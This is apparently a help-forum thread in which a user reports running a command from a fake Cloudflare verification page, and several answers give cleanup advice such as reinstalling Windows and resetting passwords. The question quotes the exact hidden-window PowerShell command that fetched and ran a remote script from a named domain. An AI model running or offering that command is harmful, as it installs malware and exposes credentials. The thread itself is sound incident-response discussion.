I visited a page that appeared to be a Cloudflare verification screen and followed its instructions to open a Windows command interface, paste a command, and press Enter. The command was `powershell -w h "iex(irm 'fingerprint-verification.info/2dd69080fe7842ea'); Start-Sleep -Seconds 19"; exit;`. I interrupted it before the delay finished, but Event ID 4104 indicates that the downloaded script attempted to create and run a randomly named executable. Microsoft Defender, an offline scan, process listings, startup entries, and scheduled tasks have not shown anything suspicious. I have also changed my passwords. How serious is this, and what should I do next?
3 Answers
Because the PowerShell command downloaded and executed code, there is no reliable way to prove the system is clean using scans alone. The safest response is to back up only personal documents and photos after checking them from a separate trusted computer, then perform a complete Windows reinstall. Choose the option that removes files, apps, and settings rather than keeping them. Afterward, fully update Windows, reinstall software from official sources, and change important passwords again from the clean installation. Enable multifactor authentication wherever possible.
Treat this like a possible information-stealer even though Defender found nothing. From a known-clean device, revoke active sessions, reset email and financial account passwords, review sign-in history, and contact your bank if payment details may have been stored on the computer. Also monitor for new browser extensions, account recovery changes, and suspicious login alerts. A clean reinstall is more dependable than trying to hunt for every persistence mechanism manually.
This is a common social-engineering trick: a fake verification page tells you to paste a command into Windows. Legitimate verification pages do not require visitors to run arbitrary PowerShell commands. In the future, close the page immediately, avoid pasting commands you did not write or verify, and use a separate device to investigate if something seems suspicious.
Even legitimate websites can occasionally be compromised, so the appearance of the page is not enough to establish trust. The command itself should be treated as untrusted regardless of which site displayed it.
Thanks—I’m proceeding with a clean reinstall and will only preserve a few personal files. I’ll change the important passwords again afterward from the rebuilt system.